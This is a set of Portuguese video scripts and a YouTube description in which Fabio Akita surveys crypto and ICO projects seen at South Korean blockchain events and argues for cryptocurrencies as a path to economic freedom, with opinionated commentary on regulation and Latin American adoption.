Mas, falando em celebridades, a Platin também tem um do seu lado, como advisor eles conseguiram chamar o controverso Robert Scoble, que parece que já foi mais famoso alguns anos atrás. Essas celebridades na prática não influenciam o desenvolvimento técnico, mas muitos procuram figuras reconhecidas para ficar mais fácil se destacarem. Mas a Platin tem um conceito um tanto ousado, eles implementaram um PoL ou Proof of Location. A idéia é fazer um Pokemon Go de tokens, para lojas fazerem airdrop de tokens e você ter que ir até a loja para coletar os tokens. É a mesma idéia dos pokemons, mas daí você “minera” tokens baseado na localização. Então é um blockchain pensado para ser mobile-first, porque precisa do GPS. Por baixo ele vai trazer o PTN token e vai poder customizar a moeda para estabelecimentos comerciais. Não tenho idéia se faz sentido ou se vai funcionar, mas achei inteligente um Pokemon Go que te dá alguma coisa em troca por ficar tendo que andar tanto para achar os bichos. No Pokemon Go você sequer pode treidar os pokemons que consegue, o que eu sempre achei uma limitação bem ruim.

(.. 2 Exchanges and Investments)

Todo mundo deve achar que o mundo já tem corretoras demais, mas não se desesperem ainda. Tem muitas mais chegando! Mas certamente uma categoria que tem ganhado cada vez mais espaço são as exchanges decentralizadas. A idéia é tentar ser o mais peer to peer possível. Infelizmente as blockchains desta geração ainda não tem velocidade suficiente para manter order books com trades ultra rápidos on-chain. Seria extremamente lento tentar implementar um order book dentro de um smart contract, como fazemos com tokens. Mas existem implementações tentando coisas como usar side-chains, mantendo os books off-chain e de tempos em tempos colocar as trades on-chain.

É o que fazem projetos como a Dex.top, - entenderam? Desk-top dex top? um dos nomes mais interessantes. Ele é construído obviamente em cima do ethereum, eles tem uma app de wallet chamada TrustWallet para iniciar os trades. Já aparecem até no famoso site coinmarketcap com pelo menos 30 pares de tokens. Mais do que isso, eles são incubados por ninguém menos que a famosa Bitmain - lembram, dos hardware ASIC para mineração? E eles fazem o que expliquei: um sistema que chamam de RoC ou Replayed On Chain. Tecnicamente eles dizem não ter funções de custódia, mas não são 100% decentralizados também. Um dos diferenciais é que dizem ter sido auditados pela Bug Bounty, HackerOne, ChainSecurity e Sentinel Protocol.

Outro exemplo parecido é a DX.exchange, onde uma das propostas é em vez de cobrar taxas por transação, eles cobram uma mensalidade fixa. Então é “marketamente” zero fees. Outro diferencial é que dizem serem regulados pela Unidade de Inteligência Financeira da Estônia, obviamente eles ficam na Estônia.

Um pouquinho diferente parece a proposta da Tottle DEX que está em beta agora. A idéia deles é ser um agregador de exchanges descentralizadas como as que mencionei acima. Unificar os order books de todo mundo em um só. De similar novamente é ser implementado em cima do ethereum, então obviamente o target são tokens ERC20. Fico em dúvida se fazendo isso eles conseguiram implementar um protocolo rápido para liquidar as ordens. Tecnicamente eles precisam manter contas abertas em todas as que integram e ter reservas de criptos em todas elas para conseguir fazer as trades serem liquidadas o mais rápido possível. Não sei se foi assim que implementaram mas é a única solução que me vem à cabeça. Se depender de transferência on-chain, seria absurdamento lento.

Antigamente havia um app chamado TradeHero que é uma exchange simulada com moeda realmente “virtual” para você aprender a tradar sem risco. Uma excelente ferramenta para quem quer aprender o mundo de trading. Daí eles criam um novo app o BitHero que começa como um simulador mas daí você pode trocar para tradar criptos de verdade. Como plataforma educacional achei uma excelente idéia e a idéia é aprendizado baseado em gamificação e interação social com seus amigos. Eles tem um token próprio, claro, o BTH e um dos investidores é ninguém menos que a Samsung.

Até agora, apesar de se chamarem “decentralizadas” parece como qualquer outra corretora moderna. Mas aí temos projetos como a EMX, que diz conseguir possibilitar o trading de futuros com cripto, coisa que nenhuma corretora tradicional consegue fazer. Normalmente você é obrigado a ter conta em múltiplas corretoras, vender suas criptos por moeda fiduciária, transferir pra outra corretora e aí comprar futuros ou outros derivativos e commodities. Isso é extremamente ruim e lento, mas na EMX ele diz facilitar isso dentro de uma mesma corretora. Obviamente ele tem seu próprio token para negociar internamente, o EMX Token. Além disso você pode pegar emprestado de um margin syndicate ou emprestar a eles para não precisar movimentar suas criptos e ganhar taxas por isso além de manter os assets dos traders que pegaram emprestado com você, como colateral. Me chamou a atenção ter como advisor o Simon Kim, lembram, CEO da Hashed.

E nessa linha ainda temos a CRED, que eu conheci no evento Blockchain Partners como Libra Credit, mas mudaram de nome. Eles dizem ser uma plataforma descentralizada de emprestimo. A idéia é trazer mais acesso a crédito. Você precisa de moeda fiduciária, tem cripto, mas não quer ter que vender suas posições em cripto. Então você pode deixar suas cripto como colateral em empréstimo. Ou, se simplesmente quer fazer hedge, se proteger da volatilidade, pode transformar suas criptos numa stablecoin deles. Falta no mundo de exchanges de cripto mais opções de produtos financeiros como os oferecidos pela EMX e pela CRED. Outro detalhe que me chamou a atenção é eles serem incubados na Binance Labs. A Binance também está continuamente pesquisando diferentes produtos para aumentar seu portfolio.

(… 3 Pagamentos)

Na sequência, o que todo mundo reclama é que criptos tem sido usados somente como armazenamento de valor e papel especulativo. O real uso seria quebrar a barreira do comércio de verdade e ser usado em pagamentos no mundo real. Eu vi várias propostas como a PumaPay que já tinha mencionado nos outros vídeos ou esta Pay Protocol, que é de ninguém menos que a Danal que já tem um negócio em meios de pagamento e POS para lojas. Eles também implementaram SDK para aplicações mobile, querem suportar múltiplas criptomoedas e ser o mais amigável possível para o comércio. Na prática o POS poderia escanear um código de barras direto do app do seu celular para efetuar o pagamento ou se for e-commerce um app equivalente Amazon ou MercadoLivre teria no checkout a opção de pagar com meios normais como cartão de crédito ou Pay Protocol. Provavelmente ele deve oferecer uma wallet ou se integrar a existentes.

Outra que tenta criar a ponte com o mundo real é a FuseX que está fabricando cartões de plástico como os de crédito ou débito que usamos. Eles já fabricaram pelo menos 30 mil unidades. Tem um micro processador, uma tela tipo e-paper, bateria recarregável que dura de 45 a 60 dias e 3 botões dentro do espaço que ocupa um cartão de crédito tradicional. Novamente ele quer suportar múltiplas criptomoedas e ele tem um módulo backend que provavelmente se integra com adquirentes. Não ficou muito claro mas é uma solução que depende de parcerias no mundo tradicional, e com empresas como VISA não tendo sido muito amigável com cripto ultimamente, não sei ainda até onde isso vai.

A Nexty é uma que olhando o site, eu imaginaria não ser muito real, mas parece que tem mesmo um sistema funcionando hoje, talvez. Na prática me pareceu outro fork de ethereum um pouco customizado, onde eles inventaram um modelo de confirmação usando dois tokens ERC20, que eles chamam de NTY e NTF. Nesse sistema quem quiser participar da mineração precisa de tokens NTF e os fees vão baixando até zero conforme o uso, um tipo de smart staking. No fim o usuário dessas tokens baixa um wallet proprietário deles que, segundo reviews na página do Google App Store não tem tido boas notas não ….

Na mesma linha temos o COTI ou Currency Of The Internet. Eles tem um blockchain próprio implementado na estrutura de um DAG também (de novo, como a HYCON), eles chamam de TrustChain. A idéia deles é um sistema de scores para promover bom comportamento e penalizar mal comportamento na rede. O objetivo também é chegar em fees muito baixo ou zero. No fundo ele é para ser um blockchain mais genérico mas a primeira aplicação que eles querem é um meio de pagamento, o COTI PAY. Não fiquei muito convencido vendo a página deles, mas vejam vocês mesmos.

Como a COTI a T.OS é outra moeda para pagamentos, também tem uma wallet e dizem eles ter uma solução pelo menos 10x mais rápida que o Bitcoin (que apesar de ser o mais difundido é de fato o mais lento de todos), 3x mais rápido que ethereum, e até 14x mais rápido que isso se usar o modo de pagamento deles (provavelmente alguma side-chain também). Ser 10 ou 100x mais rápido que Bitcoin não é exatamente rápido o suficiente na minha opinião, mas enfim, é mais uma alternativa.

E … eu disse que este seria o último episódio mas pra variar acabei escrevendo muito! Então, vamos fazer o esquema Harry Potter and the Deathly Hallows e dividir o final em parte 1 e parte 2! Das SETE grandes categorias cobrimos hoje novas técnicas de blockchains, exchanges descentralizadas e pagamentos com cripto. No próximo episódio vamos finalizar as 4 últimas categorias e concluir a série!

Não deixem de comentar abaixo, dêem um joinha se gostaram, assinem o canal e cliquem no sininho para ser notificado nos próximos episódios! Até mais!

E aí pessoal, Fabio Akita

Agora sim! Eu juro! É o última parte do último episódio da série sobre a Coréia do Sul. Na parte 1 passamos por vários projetos de criptos em 3 grandes categorias de 7. Hoje vamos cobrir as últimas 4.

Se não assistiram o episódio anterior, clique no link do topo do vídeo para assistir! Eu espero …

(… abertura)

Pronto! Vamos continuar a parte 2 do último episódio.

( … 4. Cartório e Auditoria)

Além de trading e pagamentos, outro grande caso de uso que ouvimos muito falar é a eliminação de cartórios. Cartórios existem como um terceiro que valida um documento entre duas pontas. Mas se usarmos blockchains para isso poderíamos tecnicamente eliminar esse intermediário burocrático.

Exemplo disso é a ChainKey que diz ser uma platforma que se conecta com a mainnet da ethereum, ou você pode usar uma rede privada como hyperledger ou grandeo. Usa tokens ERC20 CKEY ou GDO como crédito e permite armazenar qualquer arquivo de forma pública ou privada (tipo um dropbox ou google drive) mas com identidade do arquivo certificado no blockchain.

A Orion Vault é uma opção mais especializada que quer ser uma mistura de IMDB de peças de arte fina junto com um marketplace, cortando os intermediários e levando o artista mais próximo do comprador. O comprador ganha um certificado digital da peça que comprou, que identifica unicamente aquela peça. Na prática é adicionar um identificador único a uma peça no mundo real que é outra tendência que muitos já vinham discutindo.

E temos também a Evident Proof que provê serviços de verificação de dados e prova. Ele tem tokens próprios os EPT, porque, porque não? Eles dizem prover provas imutáveis que mantém encriptado no blockchain (espero que eu não tenha entendido errado quando li, mas do jeito que falaram parecia que querem guardar o arquivo dentro do blockchain. Apesar de possível, não é pra isso que serve o blockchain. Mas eles também suportam blockchains públicas e privadas como a ChainKey e tem como alvo mercados que levam privacidade e veracidade dos dados a sério, quando precisam de coisas como HIPAA no mercado hospitalar ou SOX (Sarbanes Oxley) em auditoria financeira.

(… 5 Inteligência)

Outro uso que sempre falam de blockchains é otimizar a cadeia de suprimentos, ou supply chain. Toda cadeia de produção tem muitos intermediários no meio do caminho e no fim o produtor tem muito pouca informação do consumidor final. Fora coordenação dos diversos fornecedores numa cadeia de produção de um produto. Tudo isso poderia ser otimizado mesmo com blockchains privados, mas tem mais valor ainda se as soluções conseguem se manter públicas sem sacrificar a privacidade dos consumidores.

A Hint Chain tem como alvo uma vertical muito específica, no caso a cadeia de suprimentos de comida. Onde eles querem criar perfis de comida, algo mais na linha de data mining. A idéia é catalogar uma estrutura padrão para esse perfil para delinear o que cada consumidor prefere em cada situação para comer, seus hábitos alimentares, premiar a participação com tokens, claro, e levar esses dados aos produtores no começo da cadeia que, hoje, normalmente tem pouco contato e conhecimento do consumidor final, e no futuro adicionar até inteligência artificial para melhorar o lado da produção de comida baseado nesses dados. De fato eu sei que existe um mercado para esse tipo de dados, vamos ver se eles conseguem entregar o que prometem.

Um pouco diferente é a PATH que pelo menos à primeira vista parece nada mais do que um sistema de monitoramento de servidores como centenas que já existem no mercado. Checar uptime de servidores, monitoramento de performance, monitoramento de ataques de distributed denial of service ou DDOS, testes de interação, etc. Mas em vez de um sistema centralizado eles querem distribuir os agentes de monitoramento em forma de apps ou plugins de browser que usuários normais podem instalar e serem recompensados com tokens por prover os dados de monitoramento. Eu achei a idéia até inteligente porque eles conseguiriam muitos mais pontos de dados de usuários em cenários reais de rede e computador e fornecer dados mais interessantes - se eles conseguirem adoção.

Mais um que quer otimizar a cadeia é a Lucidity, no caso no mundo de advertising. Um dos problemas que os anunciantes enfrentam é não saber qual o real resultado de seus investimentos em campanhas digitais de marketing. Eles são obrigados a acreditar em qualquer relatório que as agência constróem. O que a Lucidity quer é assinar blocos de dados de analytics, que eles vão manter armazenados em seus sistemas, mas cuja assinatura de verificação estará disponível no blockchain do ethereum. Os participantes na validação desses analytics são usuários também, que receberão tokens pela participação. Dessa forma eles estão distribuindo o trabalho de auditoria e mantendo dados verificados que depois podem ser usados para gerar relatórios que podem ser rechecados para autenticidade, melhorando a credibilidade do mercado de advertising e garantindo resultados mais reais aos anunciantes. Para ter a performance necessária eles também tem uma segunda camada off-chain, como a Orbs que falei em outro vídeo, usando a solução chamada Plasma - recomendo pesquisar sobre isso e sobre a arquitetura de side-chains / off-chain em geral.

A Pinmo tem uma proposta para um mercado similar, mas no caso a intenção é trazer os anunciantes mais próximos dos influenciadores em redes sociais, novamente a intenção é cortar os intermediários como as agências. Novamente também tem seus próprios tokens. Novamente implementado sobre ethereum como uma dapp para prover soluções cross-chain. Achei um pouco superficial ainda, pelo menos vendo pelo site.

(… 6 Games)

Já mencionei rapidamente em alguns vídeos, mas games é um target meio óbvio hoje em dia. Especialmente pelo enorme mercado de loot crates, e in-app purchases que basicamente todo game online tem hoje em dia. Os gamers já estão acostumados a comprar todo tipo de digital assets usando moedas virtuais que eles compram com cartão de crédito e depois usam em marketplaces virtuais fechados dentro do próprio jogo.

A Game X Coin quer ser uma moeda universal para games. Eles tem seu próprio blockchain construído como uma versão customizada do EOS, estão criando SDKs para integrar nos games, tem um gerador de tokens para cada game, wallet e uma exchange descentralizada onde os jogadores podem tradar os tokens de um game por outro. Ainda é bem no começo e tem só um pequeno game de demo que vocês podem baixar no site deles.

Muito parecido seria a MobileChain que tenta ser uma solução um pouco mais genérica do que só games, eles também vão oferecer SDKs para in-app wallet deles. Permitir os publicadores de apps recompensar diretamente os usuários com tokens. É a solução padrão; em cima de ethereum, smart contracts, tokens ERC20 e opções para permitir coisas como recompensa de tokens baseado em localização para lojas físicas, meio como a Platin.

E também um pouco parecido é Mfun, mas diferente porque vem da Indonésia, um mercado que parece que cresce rápido no mundo de games na Ásia. Um mercado de 50 milhões de jogadores e o 3o maior da Ásia. A solução é parecida, tokens in-game, cortar intermediários, dar recompensa ao jogador quanto mais ele joga. Em vez do publicador gastar caro com ads, ele pode pagar direto ao usuário e evitar spam de ads em todo lugar, dando ads mais direcionados. Diferencial é ter a marca da Agate que já fez mais de 250 mobile games, e outros parceiros como a Duniaku e Yogrt.

Um pouco mais evoluído seria a Chilliz, mais voltado para os fãs de e-sports. No caso a idéia é você ser um investidor do seu time de e-sports, comprar tokens que dá direito a ter “voz” e participar de pesquisas para ajudar a decidir a direção do seu time preferido. Eles estão monetizando a “voz”, a participação do fã nas escolhas do time. É um sistema parecido com de sócio de clubes. Uma mistura de crowdfunding com cripto. Eles já levantaram USD 27 milhões na primeira rodada e estão juntando forças com a Binance numa joint venture estabelecida … na Ilha de Malta.

Agora, temos a SGame Pro. Proposta? Mesma coisa: in-game tokens cuja “mineração” é jogar. Seria PoP ou Proof of Play como “algoritmo” de consenso. Novamente tokens ERC20, wallet, etc. O diferencial deles foi ter recrutado ninguém menos que o mais famoso gamer da atualidade o Pewdiepie como garoto propaganda do ICO deles.

Na mesma categoria ainda temos um mais evoluído, a Gifto cujo propósito é vender presentes virtuais. Sim! Chegamos à era onde você presenteia amigos com digital assets. Parece bem idiota mas em 2017 eles já faturaram USD 150 milhões e eles vendem 25 milhões de presentes virtuais por mês. Integram com apps como Uplive que é tipo o Periscope da Ásia para streaming, tem opções de doar pra caridade, opções para criadores de presentes virtuais e já tem mais de um milhão de usuários da wallet deles. No caso acho que seria um reverse ICO porque parece que querem adicionar integração com ethereum como forma de pagar os criadores de presentes, ou algo assim.

E você nota que muitas dessas ICOs trazem alguma celebridade pra tentar dar alguma notoriedade aos projetos, como o PewDiePie que acabamos de falar, ou o Taewon na HYCON ou o Robert Scoble na Platin, mas que tal a GCOX ou Global Crypto Offering Exchange, como o nome diz uma exchange mas cujo propósito é gerar um ecossistema para gerenciar tokens de celebridades, novamente a idéia dos fã clubes como a Chilliz mas em vez de ser só pra e-sports é para celebridades em geral, ou Celebrity Token que pode ser usado para comprar merchandise da sua celebridade favorita, entrar em contato com essa celebridade ou doar para a caridade que eles apoiam e coisas desse tipo. No time de fundadores eles tem celebridades, duh, como o boxeador superstar e senador das Filipinas Manny Pacquiao e o ex-jogador de futebol da Inglaterra, Michael Owen.

( … 7 Outros)

E para a última categoria vamos começar falando de 2 projetos na área de energia. Que tal o Electrify Asia. Parece que em alguns países como Singapura a eletricidade foi democratizada desde 2001. E qualquer um que consuma mais que 2000 kWH pode escolher seu fornecedor de energia - coisa que nem ouvimos falar por aqui. Eles querem criar um marketplace onde você pode comprar energia usando o token deles, o ELEC, abrindo o mercado para pequenos produtores, por exemplo prédios que tem células solares no teto e queiram vender seu excesso de energia. Eles também estão querendo fabricar o PowerPod que é basicamente um medidor de saída de energia para pequenos produtores, para medir e executar as trades p2p em seus smart contracts. É uma idéia interessante em países mais avançados que já estão chegando nesse estágio.

No mesmo setor mas com outra proposta é a WePower, no caso é mais um crowdfunding para projetos de energia renovável. Eles também querem conectar compradores e produtores, também usam smart contracts ethereum, e também tem seus próprios tokens de energia.

Enfim, bons ou ruins, todos os projetos envolvem tokens como vocês podem ver. Em comum é que a maioria são tokens no padrão ERC20 que é uma interface padrão de smart contracts, normalmente programados em Solidity, uma linguagem meio primária que não te protege muito não, e é muito fácil cometer erros graves. E pra piorar, uma vez instalado no blockchain o contrato é imutável. Muitos casos graves de bugs em smart contract já levaram muitos ICOs a perder todos os seus tokens. E por causa disso achei interessante um projeto que vi lá chamado CertiK que é uma plataforma que executa uma séries de checagens de análise estática de código (como um Brakeman, que usamos em projetos Ruby) para achar erros comuns como buffer overflow e coisas do tipo, com o twist que obviamente else rodam as análises de forma descentralizada. Eles dizem criar um certificado para dizer que seu smart contract é “sem bugs e resistente a hackers”, isso eu já acho um exagero. Tudo bem que tokens ERC20 não são exatamente difíceis de fazer, então quem sabe eles já tenham mesmo coberto tudo nesse tipo específico de smart contract.

E, claro, se você não é exatamente o tipo que consegue programar seus próprios smart contracts, não se preocupe, existe o projeto TOKEDO que oferece produtos como wallet, uma exchange e nada menos que um Criador de Tokens para ICOs usando o modelo DAICO que é um modelo sugerido por ninguém menos que o criador do ethereum Vitalik Buterin para incorporar certos aspectos de uma DAO ou organização autônoma descentralizada em tokens para crowdfunding. Na prática é uma governança automatizada onde o projeto que levanta o ICO não tem acesso a todos os fundos gerados pela venda dos tokens, em vez disso ele vai soltando os fundos à medida que o projeto realmente entregue os milestones que ele mesmo prometeu ou os fundos restantes são devolvidos aos compradores. É meio como funcionam rounds de investimento tradicional em startups. Você atinge metas e recebe o próximo round, e é um modelo mais correto para ICOs que é o que muitas regulamentações devem começar a exigir de qualquer jeito. Então, se você ficou interessado em criar seu próprio ICO, estude o modelo DAICO.

E, finalmente, chegamos ao fim!! Nem acredito! A parte 1 e esta parte 2 listam a maioria dos projetos que circularam no meetup da CoinUS e BRP, na Beyond Blocks e na Blockchain Partners. Não é a lista completa mas pelo menos dá uma boa idéia de diferentes casos de uso para novos blockchains, tokens ERC20, security e utility tokens e explora mais como os tokens podem ser usados em aplicações mais reais. É muito importante que ecossistemas de ICOs floreçam para abrir o caminho para um uso mais cotidiano de criptomoedas no mundo real. E como vocês já devem ter concluído é uma pena que ainda não exista nada perto disso deste lado do planeta. Da minha parte, em breve teremos suporte a tokens ERC20 na minha exchange a OmniTrade, então vão preparando seus ICOs ;-)

Chegamos ao fim desta enorme série sobre a Coréia do Sul e o Blockchain Week que tive a oportunidade de visitar. Talvez tenhamos uma nova série como esta em breve já que pretendo fazer uma visita um pouco mais curta na Ilha de Malta que tanto mencionamos nos últimos vídeos. Até lá quero fazer vídeos sobre outros assuntos. O que vocês gostariam que eu discutisse nos próximos vídeos? Não deixem de sugerir assuntos nos comentários abaixo. Se gostaram deem um joinha, assinem o canal e cliquem no sininho! A gente se vê, valeu galera!

Descrição no YouTube

Estamos quase lá! Penúltimo episódio da minha série sobre Seoul e as conferências de criptomoedas. Neste episódio vamos dar mais contexto sobre a principal finalidade do mundo de criptomoedas: Liberdade Econômica.

Links:

• Spotniks (https://www.youtube.com/watch?v=TO8yBl48DTQ)
• How Africa is Becoming China’s China (https://www.youtube.com/watch?v=zQV_DKQkT8o&t=1s)
• Hans Rosling’s Factfulness (https://www.amazon.com/Factfulness-Reasons-World-Things-Better/dp/1250107814)
• Coin Trade Monitor (https://www.cointradermonitor.com/preco-bitcoin-brasil.php)
• Coin Dance (https://coin.dance/volume/localbitcoins)
• Futuro Descentralizado (https://www.facebook.com/futurodescentralizado/videos/480546089063148/)
• OmniTrade (https://omnitrade.io)

Script

Olá pessoal, Fabio Akita

No episódio anterior vimos sobre a diferenciação de Security Tokens e Utility Tokens E o caminho que muitos países têm tomado em torno das regulamentações.

Essa discussão não tem uma conclusão “final” porque em última instância depende do congresso de cada país passar as regulamentações, mas mais e mais o discurso tem sido menos agressivo e mais razoável em torno de criptomoedas, em particular no lançamento das ICOs. O fator que freia todo mundo são episódios como o crescimento parabólico do ano passado, que não é bom pra ninguém, nem mesmo pros crypto funds, porque você cria um cenário irreal para investimento. Todos concordam que foi bom a correção ter acontecido logo, preparando o terreno para um novo bull run em breve. O fim do ano passado foi só uma prévia do que está por vir e um aviso para os interessados na infraestrutura estarem preparados.

Nos discursos de vários palestrantes, notoriamente como de Roger Ver - principal evangelista do Bitcoin Cash - é a liberdade econômica que esse novo mercado de criptomoedas proporciona. Uma forma de troca de valor que não depende de um banco central nem de um governo, moedas que podem cruzar fronteiras e inclusive quebrar a soberania de países. Muitos podem ser céticos quanto a isso, mas pergunte a um Venezuelano quais opções ele tem.

Obviamente é consenso entre os participantes dessa comunidade que security tokens não deveriam ser proibidos. E que, no mínimo deveriam ser diferenciados os tokens que representam investimento numa startup e outras que tem utilidade para coisas como pagamentos. Muitos inclusive apostam que estamos por ver ainda uma nova era de Security Tokens.

Liberdade econômica é a principal promessa de um mundo movido a criptomoedas. Dar acesso a qualquer um de participar de startups que no futuro se tornem a próxima Amazon ou o próximo Paypal. Hoje em dia, o cidadão comum não tem acesso a esse tipo de investimento - só depois de um IPO, quando muitos dos investidores iniciais - que compraram barato - já inclusive saíram do investimento e realizaram lucros seguros às custas do risco que a população em geral vai incorrer quando as ações vão a público.

Assim como criptomoedas são a resposta ao monopólio do controle monetário dos bancos centrais e o terrível oligopólio dos bancos privados, ICOs são a resposta ao mercado de securities, bolsas, corretoras de fundos de investimentos tradicionais. Assim como não é do interesse dos bancos concorrer com criptomoedas - e por isso toda vez que você ver um banco falar mal de criptomoedas você sabe porque. Também não é do interesse de fundos tradicionais ou outros intermediários do mundo das bolsas ver ICOs funcionando fora do seu controle, por isso também quando você vê um JPMorgan falando mal de ICOs, você também sabe porque.

Diversos projetos famosos nasceram de ICOs, incluindo o grande Ethereum, o recente EOS, e outros como Telegram, Bluzelle, até o famigerado Petro e muitos outros. Só em termos de criptomoedas, que englobam os conhecidos Bitcoin, Litecoin, Ripple e ademais, existem perto de 2.000 moedas. Muitas delas vão morrer, claro, mas no futuro próximo, a visão não é que vão existir menos moedas. Segundo Chengpeng Zhang (mais conhecido como CZ) e fundador da monstruosa Binance, no futuro haverão milhares de mais moedas. O desafio das corretoras será ofertar ao público dezenas de milhares de digital assets. Não só moedas, mas tokens em geral.

A Binance é um case nesse sentido, em 1 ano, sendo uma corretora exclusivamente negociando pares de criptos, sem incluir moedas fiat (fiduciárias), eles tem hoje 10 milhões de usuários. Nasceram na China mas a Ásia em geral adora eles. CZ é praticamente um Steve Jobs, o povo queria tirar selfies e pedir autógrafo. A afirmação do CZ que o mundo pode ter milhões de criptomoedas ou tokens faz muito sentido!

E eu tendo a concordar. Pense comigo. Por causa do episódio Napster e depois os dias de BitTorrent com casos como The Pirate Bay, o consenso foi que para distribuir assets digitais como música a única forma é através de um intermediário que controla a distribuição, o famoso modelo iTunes iniciado pela Apple e replicado com sucesso em outros jardins fechados como a Apple App Store, Google App Store, Steam, Netflix, Amazon Prime e assim por diante, pulando de modelos de compra para modelos de assinatura, mas o principal: com a identidade e unicidade da distribuição ou do uso, controlado por uma entidades privadas centralizadas.

A idéia de mecanismos como blockchain é permitir a transferência de propriedade de um asset digital de forma única, com consenso que independe de centralização. É isso que muda tudo.

E num mundo onde esse mecanismo se torna ubíquito, qualquer coisa é tokenizável. Pense seus créditos de Playstation Store, Xbox Store, pontos da Smiles, qualquer coisa que hoje representa um valor e é controlado por uma entidade centralizada poderia ser facilmente um asset digital negociável. Você poderia livremente negociar suas milhas por créditos de XBox. E isso é um caso de uso pequeno.

Parece que nesse momento, no pós-crash de 2017, incluindo a reação de diversas instituições dos diversos governos, estamos falando mais em como criar um ecossistema sustentável de ICOs, com algum nível de regulamentação, mas nada draconiano que ferem as liberdades econômicas dos indivíduos.

Enquanto alguns governos estão patinando nessa discussão, outros países estão mais dispostos a experimentar os riscos. Nos Estados Unidos, no Brasil e outros países, ICOs que sejam categorizados como distribuição de security tokens devem ser registrados na SEC ou na CVM aqui.

Como vai acontecer: em vez de abrir uma empresa em países regulados, você pode simplesmente abrir em países não regulamentos ou explicitamente amigáveis a ICOs como Estônia, Rússia, Ilhas Cayman, Gibraltar e oferecer os coins lá. Listar em corretoras abertas em países igualmente abertos, principalmente se for uma corretora que só opera cripto-para-cripto como a Binance.

Em países regulados, você pode negociar suas moedas fiduciárias em corretoras que negociam pares de fiat-para-cripto e mover suas coins para corretoras de fora. E assim participar do mercado de ICOs como bem quiser. Sem necessidade de alguém autorizando ou não.

Por isso os países restritivos vão precisar rever seus conceitos logo, porque a idéia de criptomoedas é justamente romper as barreiras geopolíticas. Em seu mundinho pequeno, você pode achar que não tem valor nenhum para você. Mas pergunte a um venezuelano e ele vai lhe dizer como a vida dele seria muito mais difícil sem criptomoedas. O governo destruiu a Venezuela, em 1 ano eles cortaram 11 zeros da moeda. O preço de imprimir a moeda ficou mais caro do que a moeda em si. Esse é o nível da hiperinflação que assola o país. E mais um aviso de porque governos populistas são os menos confiáveis. Você não tem nenhuma garantia que seu dinheiro na poupança vai existir daqui 10 anos. Por isso mesmo, quem pode nunca deixa todo seu dinheiro num país só. Você acha que não deveria confiar em criptomoedas? Eu acho que não se deveria confiar em governos da América Latina, ponto. Eu jamais deixaria todos os meus ativos acumulados no Brasil, e é por isso que estou tão interessado na Ásia.

Os ocidentais até tem uma noção disso, mas a Ásia é muito mais populosa que o Ocidente. Se você não tem idéia. Pense assim, as América tem 1 bilhão de pessoas. A Europa tem 1 bilhão de pessoas. O continente africano tem 1 bilhão. 4 bilhões estão na Ásia. A taxa de crescimento populacional nas américa, Europa e Ásia já estabilizou. Em alguns anos será a África a crescer demasiadamente, então vamos ficar com 1 bilhão nas Américas, 1 bilhão na Europa, 3 a 4 bilhões na África e 4 bilhões na Ásia.

Seu mundo é muito pequeno se você pensa só nas Américas e na Europa. Qualquer coisa que vai ter impacto global, seja economicamente, climaticamente ou qualquer coisa assim vai vir primeiro da Ásia e depois da África. Você sabia que sabendo disso, hoje a África é a China da China? Veja este vídeo.

https://www.youtube.com/watch?v=zQV_DKQkT8o

Moedas são um conceito financeiro. Você provavelmente ou viveu ou lembra seus pais falando da hiperinflação que passamos nos anos 80 até meio dos 90. O “remédio” para isso envolveu a criação de uma segunda “moeda”, em termos atuais, uma “stable coin” que serviu para nos “ensinar” a viver numa economia estável, sem grandes variações de preço. Foi uma moeda virtual paralelo no dia a dia da economia que poderia ser o equivalente a uma Bitcoin hoje. Ela foi a URV, que ajudou a limpar o caminho antes da entrada do Real. Se você não conhece a história recomendo a assistir este filme brasileiro que conta um pouco dessa história.

Voltando ao ponto, em resumo, a maior parte das conferências ficou centrado em muitas das startups abrindo ICO apresentando porque você deveria investir nelas - e eles fazendo pitch para as corretoras para ver se eles conseguem ser listados numa Binance. E a discussão de representantes de diversos países discutindo a situação atual de regulamentação, incluindo um pitch forte para países irem ver como está Taiwan, Malta, Suíça, Cingapura, por exemplo. E um recado aos países Ocidentais que se eles ficam relutantes por muito tempo, vai ser tarde porque a Ásia e o Leste Europeu estão acelerando.

Eu fiz algumas pesquisas, a América do Sul é um caso vergonhoso de adoção de criptomoedas. Como sempre, estamos uns 5 anos pra trás de todo mundo. Veja o Brasil, se você procurar saber quão o volume de transações digamos que num dia normal sejam registrados cerca de 700 BTC negociados por dia. Em todas as corretoras.

Isso é ridículo. A Venezuela sozinha negocia isso numa única corretora. O mesmo vale pra Colômbia e se não me engano até no Peru. Uma única corretora negocia isso por dia. Uma única pequena corretora dos Estados Unidos negocia 5 a 10 vezes isso por dia, e isso porque eu disse no vídeo anterior que só 1% da população tem criptomoedas de alguma forma.

No Japão? Só a bitflyer que é uma das maiores corretoras negocia quase 300 mil bitcoins por dia. O mesmo vale pra Coréia do Sul. A Binance, sozinha negocia quase 50 mil BTC por dia. Estamos falando de volumes nunca vistos na América do Sul.

Some a isso ao fato que nosso mercado é pobre em tecnologia e em visão de negócios. Desses 700 BTC eu não ficaria surpreso de confirmar que metade do valor é basicamente nulo, são negociações automatizadas para inflar o volume, sem equivalente em lastro de criptomoedas. Então o Brasil como um todo, se negociar 300 BTC por dia, é muito.

Para um país que tem quase 4 vezes o PIB da Colômbia, nosso resultado em criptomoedas é vergonhoso, pra dizer o mínimo. E ICO? Vc já ouviu falar de alguma, onde são negociadas? Quais os modelos??? Realmente temos um longo caminho a perseguir.

O povo em geral não gosta de riscos mas gosta de superstições, messias e salvadores da pátria. É um povo acostumado a terceirizar seu futuro a figuras folclóricas que acham que vai fazer melhor do que ele. De chavistas, a castristas, a peronistas, ninguém aprende com a história e continua apostando seu futuro num messias. Asiáticos e Norte Americanos tendem a ser mais individualistas: meu futuro é meu, deixa que eu cuido. Se eu fizer merda, perco tudo, mas eu que perdi, não um falso messias que perdeu por mim. Por outro lado, se eu ganhar horrores é tudo meu, que ninguém venha me tirar. Esse é o correto e o que garante a contínua evolução da humanidade.

Outro ponto importante que foi levantado na palestra de Jason Han da Kakao. Quando o browser foi inventado no começo dos anos 90, já existia 2% da população mundial usando a Internet de alguma forma, mesmo que bem primária como troca de e-mail e vendo páginas de conteúdo de universidades. O uso de criptomoedas no mundo ainda está nos 0.2%. E mesmo assim já temos o market cap de agora. Estamos caminhando para os 2%, imagine o crescimento exponencial a partir dali. Eu já disse isso em outros canais e repito aqui: estamos na era pré-browser, pré-amazon, pré-google, imagine as possibilidades.

